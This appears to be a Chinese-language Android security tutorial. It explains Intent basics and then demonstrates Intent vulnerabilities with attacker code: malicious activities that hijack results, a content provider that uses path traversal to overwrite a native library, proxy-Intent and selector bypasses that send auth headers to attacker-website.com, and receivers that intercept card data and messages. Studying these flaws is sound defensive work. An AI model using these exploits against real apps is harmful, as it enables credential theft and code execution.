Intent漏洞

Intent 概述

Intent 提供了一种在不同应用程序代码之间执行运行时绑定的功能。换句话说,Intent 允许您请求另一个应用组件执行操作。尽管 Intent 以多种方式促进组件之间的通信,但有三种基本用例:

Intent 结构

Intent 中包含的主要信息如下:

  • Action 是指定要执行的通用操作的字符串(例如查看或选择)。对于广播 Intent,这是发生并正在报告的操作。可以为应用内的 Intent 指定自定义操作(或供其他应用调用应用中的组件),但通常使用由 Intent 类或其他框架类定义的操作常量(如 ACTION_VIEWACTION_SEND)。

  • Data 是引用要操作的数据的 URI(一个 Uri 对象)和/或该数据的 MIME 类型。提供的数据类型通常由 Intent 的操作决定。例如,如果操作是 ACTION_EDIT,则数据应包含要编辑的文档的 URI。

  • Component name 是要启动的组件的名称。如果需要启动应用中的特定组件,应指定组件名称。

  • Category 是包含关于应处理 Intent 的组件类型的附加信息的字符串(如 CATEGORY_BROWSABLECATEGORY_LAUNCHER)。

组件名称、操作、数据和类别属性表示 Intent 的定义特征。通过读取这些属性,Android 系统能够解析应启动哪个应用组件。

Intent 可以携带不影响其解析到应用组件的附加信息。Intent 还可以提供以下信息:

  • Extras 是携带完成请求操作所需的附加信息的键值对。就像某些操作使用特定类型的数据 URI 一样,某些操作也使用特定的附加数据。

  • Flags 是在 Intent 类中定义的,用作 Intent 的元数据。标志可以指示 Android 系统如何启动 Activity(例如,Activity 应属于哪个任务)以及启动后如何处理它(例如,它是否属于最近活动列表)。

Intent 过滤器

Intent 过滤器是应用清单文件中的表达式,指定组件希望接收的 Intent 类型。例如,为 Activity 声明 Intent 过滤器使得其他应用可以直接使用某种类型的 Intent 启动该 Activity。同样,没有声明任何 Intent 过滤器的 Activity 只能使用显式 Intent 启动。

每个 Intent 过滤器由应用清单文件中的 <intent-filter> 元素定义,嵌套在相应的应用组件(如 <activity> 元素)中。在 <intent-filter> 内部,使用以下三个元素中的一个或多个来指定要接受的 Intent 类型:

  • <action>name 属性中声明接受的 Intent 操作。

  • <data> 声明接受的数据类型,使用一个或多个指定数据 URI(schemehostportpath)和 MIME 类型各个方面的属性。

  • <category> 在 name 属性中声明接受的 Intent 类别。

要接收隐式 Intent,必须在 Intent 过滤器中包含 CATEGORY_DEFAULT 类别。方法 startActivity()startActivityForResult() 将所有 Intent 视为声明了 CATEGORY_DEFAULT 类别。如果 Intent 过滤器中未声明此类别,则没有隐式 Intent 会解析到 Activity。

例如,这是一个带有 Intent 过滤器的 Activity 声明,用于在数据类型为文本时接收 ACTION_SEND Intent:

<activity android:name="ShareActivity">
    <intent-filter>
        <action android:name="android.intent.action.SEND"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <data android:mimeType="text/plain"/>
    </intent-filter>
</activity>

对于所有 Activity,必须在清单文件中声明 Intent 过滤器。但是,广播接收器的过滤器可以通过调用 registerReceiver() 动态注册,然后使用 unregisterReceiver() 取消注册。这样做允许应用仅在应用运行期间的指定时间内监听特定广播。

Intent 类型

有两种类型的 Intent:

  • 显式 Intent

  • 隐式 Intent

显式 Intent

显式 Intent 通过提供目标应用的包名或完全限定的组件类名来指定哪个应用将满足 Intent。

例如,如果您在应用中构建了一个名为 DownloadService 的服务,用于从网络下载文件,您可以使用以下代码启动它:

// 在 Activity 中执行,所以 'this' 是 Context
// fileUrl 是字符串 URL,如 "http://www.example.com/image.png"
Intent downloadIntent = new Intent(this, DownloadService.class);
downloadIntent.setData(Uri.parse(fileUrl));
startService(downloadIntent);

隐式 Intent

隐式 Intent 不命名特定组件,而是声明要执行的通用操作,这允许来自另一个应用的组件来处理它。

例如,如果您有希望用户与他人分享的内容,请创建一个具有 ACTION_SEND 操作的 Intent,并添加指定要分享内容的附加数据。当您使用该 Intent 调用 startActivity() 时,用户可以选择一个应用来分享内容。

// 使用字符串创建文本消息。
Intent sendIntent = new Intent();
sendIntent.setAction(Intent.ACTION_SEND);
sendIntent.putExtra(Intent.EXTRA_TEXT, textMessage);
sendIntent.setType("text/plain");

// 尝试调用 Intent。
try {
    startActivity(sendIntent);
} catch (ActivityNotFoundException e) {
    // 定义如果没有 Activity 可以处理 Intent 时您的应用应该做什么。
}

Intent 解析

隐式 Intent 通过系统传递以启动另一个 Activity,如下所示:

  1. Activity A 创建一个带有操作描述的 Intent 并将其传递给 startActivity()

  2. Android 系统 通过将 Intent 与基于三个方面的 Intent 过滤器进行比较来搜索最适合该 Intent 的 Activity:操作、数据(URI 和数据类型)和类别。页面 描述了如何根据应用清单文件中的 Intent 过滤器声明将 Intent 匹配到适当的组件。

  3. 当找到匹配时,系统通过调用其 onCreate() 方法并将 Intent 传递给它来启动匹配的 Activity(Activity B)。

如果 Android 系统 找不到任何 Activity(跨所有应用),将抛出 ActivityNotFoundException

如果有多个 Intent 过滤器兼容,系统将启动应用选择器。它显示一个对话框,用户可以选择要使用的应用。

您可以使用 Intent 过滤器中的 android:priority="num" 属性控制应用在列表中的位置

安全问题

滥用 Activity 的返回值

如果应用使用 startActivityForResult() 启动隐式 Intent,拦截应用可以使用 setResult() 将数据传递到应用的 onActivityResult() 中。

此类操作有两种类型:

  • 系统操作通常导致读取任意文件。

  • 自定义操作可能导致依赖于应用实现的不同漏洞。

自定义操作

假设,应用期望数据中的 url 在 WebView 中打开:

startActivityForResult(new Intent("com.victim.PICK_ARTICLE"), 1);
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);
    if(requestCode == 1 && resultCode == -1) {
        webView.loadUrl(data.getStringExtra("picked_url"), getAuthHeaders());
    }
}

您可以开始处理 com.victim.PICK_ARTICLE 操作并传递任意 url 在 WebView 中打开:

  • AndroidManifest.xml

    <activity android:name=".EvilActivity">
        <intent-filter android:priority="999">
            <action android:name="com.victim.PICK_ARTICLE" />
            <category android:name="android.intent.category.DEFAULT" />
        </intent-filter>
    </activity>
  • EvilActivity.java

    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setResult(-1, new Intent().putExtra("picked_url", "https://attacker-website.com/"));
        finish();
    }

系统操作

标准的 Android 操作,例如:

  • android.intent.action.PICK 选择照片

  • android.intent.action.GET_CONTENT 选择文件

  • android.media.action.IMAGE_CAPTURE 创建照片

  • 等等。

用于获取用户选择的文件(文档、图像、视频)的 URI,并在应用中处理它(例如通过发送到服务器)。大多数 Android/Java 库无法使用 Android ContentResolver 返回的 InputStream 向服务器发送数据。因此,应用经常在处理之前将 URI 数据缓存到文件中。这可能导致读取/写入任意文件。

任意文件读取

假设,应用获取 URI 并将文件缓存到外部目录(例如 SD 卡),易受攻击的应用可能如下所示:

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    startActivityForResult(new Intent(Intent.ACTION_PICK), 1337);
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);
    if(requestCode != 1337 || resultCode != -1 || data == null || data.getData() == null) {
        return;
    }
    Uri pickedUri = data.getData();
    File cacheFile = new File(getExternalCacheDir(), "temp");
    copy(pickedUri, cacheFile);
    
    // 然后以某种方式处理文件
}
private void copy(Uri uri, File toFile) {
    try {
        InputStream inputStream = getContentResolver().openInputStream(uri);
        OutputStream outputStream = new FileOutputStream(toFile);
        copy(inputStream, outputStream);
    }
    catch (Throwable th) {
        // 错误处理
    }
}
public static void copy(InputStream inputStream, OutputStream outputStream) throws IOException {
    byte[] bArr = new byte[65536];
    while (true) {
        int read = inputStream.read(bArr);
        if (read == -1) {
            break;
        }
        outputStream.write(bArr, 0, read);
    }
}

在这种情况下,您可以创建一个应用,该应用将返回指向目标应用私有目录中文件的链接:

  • AndroidManifest.xml

    <activity android:name=".PickerActivity">
        <intent-filter android:priority="999">
            <action android:name="android.intent.action.PICK" />
            <category android:name="android.intent.category.DEFAULT" />
            <data android:mimeType="*/*" />
            <data android:mimeType="image/*" />
        </intent-filter>
    </activity>
  • PickerActivity.java

    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setResult(-1, new Intent().setData(Uri.parse("file:///data/data/com.victim/databases/credentials")));
        finish();
    }

当受害者点击活动选择器列表中的攻击者应用时,/data/data/com.victim/databases/credentials 文件会自动复制到 SD 卡,任何具有 android.permission.READ_EXTERNAL_STORAGE 权限的应用都可以读取它。

任意文件写入

假设,应用获取 content URI 并将 ContentProvider 中的文件缓存到临时目录,易受攻击的应用可能如下所示:

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    startActivityForResult(new Intent(Intent.ACTION_PICK), 1337);
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);
    if(requestCode != 1337 || resultCode != -1 || data == null || data.getData() == null) {
        return;
    }
    Uri pickedUri = data.getData();
    File pickedFile;
    if("file".equals(pickedUri.getScheme())) {
        pickedFile = new File(pickedUri.getPath());
    }
    else if("content".equals(pickedUri.getScheme())) {
        pickedFile = new File(getCacheDir(), getFileName(pickedUri));
        copy(pickedUri, pickedFile);
    }
    // 对文件执行某些操作
}
private String getFileName(Uri pickedUri) {
    Cursor cursor = getContentResolver().query(pickedUri, new String[]{MediaStore.MediaColumns.DISPLAY_NAME}, null, null, null);
    if(cursor != null && cursor.moveToFirst()) {
        String displayName = cursor.getString(cursor.getColumnIndex(MediaStore.MediaColumns.DISPLAY_NAME));
        if(displayName != null) {
            return displayName;
        }
    }
    return "temp";
}
private void copy(Uri uri, File toFile) {
    try {
        InputStream inputStream = getContentResolver().openInputStream(uri);
        OutputStream outputStream = new FileOutputStream(toFile);
        copy(inputStream, outputStream);
    }
    catch (Throwable th) {
        // 错误处理
    }
}
public static void copy(InputStream inputStream, OutputStream outputStream) throws IOException {
    byte[] bArr = new byte[65536];
    while (true) {
        int read = inputStream.read(bArr);
        if (read == -1) {
            break;
        }
        outputStream.write(bArr, 0, read);
    }
}

在这种情况下,您可以使用自己的 ContentProvider 向 getFileName() 方法传递包含路径遍历的名称:

  • AndroidManifest.xml

    <activity android:name=".PickerActivity">
        <intent-filter android:priority="999">
            <action android:name="android.intent.action.PICK" />
            <category android:name="android.intent.category.DEFAULT" />
            <data android:mimeType="*/*" />
            <data android:mimeType="image/*" />
        </intent-filter>
    </activity>
    <provider android:name=".EvilContentProvider" 
        android:authorities="com.attacker.evil"
        android:enabled="true"
        android:exported="true">
    </provider>
  • EvilContentProvider.java

    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
        MatrixCursor matrixCursor = new MatrixCursor(new String[]{"_display_name"});
        matrixCursor.addRow(new Object[]{"../lib-main/lib.so"});
        return matrixCursor;
    }
    public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
        return ParcelFileDescriptor.open(
            new File("/data/data/com.attacker/fakelib.so"), 
            ParcelFileDescriptor.MODE_READ_ONLY
        );
    }

这允许您绕过 /data/data/com.victim/cache/ 目录的边界,并将文件写入 /data/data/com.victim/lib-main/lib.so。如果目标应用加载此原生库,这将导致在受害者上下文中执行任意代码。

访问任意组件

由于 Intent 是 Parcelable,属于此类的对象可以作为附加数据传递给另一个 Intent。这可用于创建一个代理组件(Activity、广播接收器或服务),该组件接受嵌入的 Intent 并将其传递给危险方法,如 startActivity()sendBroadcast()。因此,您可以强制应用启动无法直接从另一个应用启动的未导出组件,或者授予自己访问应用内容提供者的权限。

例如,假设一个应用有一个执行某些不安全操作的未导出 Activity 和一个用作代理的导出 Activity:

  • AndroidManifest.xml

    <activity android:name=".ProxyActivity" android:exported="true" />
    <activity android:name=".AuthWebViewActivity" android:exported="false" />
  • ProxyActivity.java

    startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
  • AuthWebViewActivity.java

    webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());

在此示例中,AuthWebViewActivity 将用户身份验证会话传递给从 url 参数获取的 URL。

导出限制意味着您无法直接访问 AuthWebViewActivity,直接调用会抛出 java.lang.SecurityException 并显示 Permission Denial: AuthWebViewActivity not exported from uid 1337 消息:

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://attacker-website.com/");
// 抛出 java.lang.SecurityException
startActivity(intent);

但是,您可以强制受害者自行启动 AuthWebViewActivity

Intent extra = new Intent();
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
extra.putExtra("url", "http://attacker-website.com/");

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

没有安全违规,因为应用有权访问其自己的所有组件。因此,它允许您绕过 Android 的内置限制。

本身,启动隐藏组件不会产生太大的安全影响,需要滥用隐藏组件的功能:

通过 WebView 访问任意组件

绕过保护

开发者可以实现对接收的 Intent 的过滤,并显式设置处理 Intent 的组件null

intent.setComponent(null);

在这种情况下,您可以通过选择器指定未导出组件来绕过应用的显式 Intent 保护:

Intent intent = new Intent();
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
intent.putExtra("url", "http://attacker-website.com/");

当尝试查找可以处理 Intent 的实体时,将使用选择器,而不是 Intent 的主要内容。

但是,开发者可以将选择器显式设置为 null

intent.setComponent(null);
intent.setSelector(null);

即使如此,您也可以创建隐式 Intent 以匹配某些未导出 Activity 的 intent-filter

<activity android:name=".AuthWebViewActivity" android:exported="false">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <data android:scheme="victim" android:host="secure_handler" />
    </intent-filter>
</activity>

不安全的 Activity 启动

如果应用使用带有某些私有数据的隐式 Intent 来启动 Activity,您可以开始处理相同的操作以拦截私有数据。例如,假设一个银行应用使用带有卡数据的隐式 Intent 来启动 Activity:

<activity android:name=".AddCardActivity">
    <intent-filter>
        <action android:name="com.victim.ADD_CARD_ACTION" />
        <category android:name="android.intent.category.DEFAULT" />
    </intent-filter>
</activity>
Intent intent = new Intent("com.victim.ADD_CARD_ACTION");
intent.putExtra("credit_card_number", num.getText().toString());
intent.putExtra("holder_name", name.getText().toString());
// ...
startActivity(intent);

您可以按如下方式拦截卡数据:

  • AndroidManifest.xml

    <activity android:name=".EvilActivity">
        <intent-filter android:priority="999">
            <action android:name="com.victim.ADD_CARD_ACTION" />
            <category android:name="android.intent.category.DEFAULT" />
        </intent-filter>
    </activity>
  • EvilActivity.java

    Log.d("d", "Number: " + getIntent().getStringExtra("credit_card_number"));
    Log.d("d", "Holder: " + getIntent().getStringExtra("holder_name"));
    // ...

不安全的广播

如果应用使用隐式 Intent 来传递广播,您可以注册具有相同操作的广播接收器并拦截来自不同应用的用户广播。例如,假设一个消息服务从服务器请求新消息并将它们传递给负责在用户屏幕上显示它们的广播接收器:

Intent intent = new Intent("com.victim.messenger.IN_APP_MESSAGE");
intent.putExtra("from", id);
intent.putExtra("text", text);
sendBroadcast(intent);

由于隐式广播会传递给设备上注册的每个接收器,跨所有应用,您可以注册以下广播接收器来拦截用户广播:

  • AndroidManifest.xml

    <receiver android:name=".EvilReceiver">
        <intent-filter>
            <action android:name="com.victim.messenger.IN_APP_MESSAGE" />
        </intent-filter>
    </receiver>
  • EvilReceiver.java

    public class EvilReceiver extends BroadcastReceiver {
        public void onReceive(Context context, Intent intent) {
            if ("com.victim.messenger.IN_APP_MESSAGE".equals(intent.getAction())) {
                // 记录拦截的数据
                Log.d("d", "From: " + intent.getStringExtra("from"));
                Log.d("d", "Text: " + intent.getStringExtra("text"));
            }
        }
    }

参考资料

最后更新于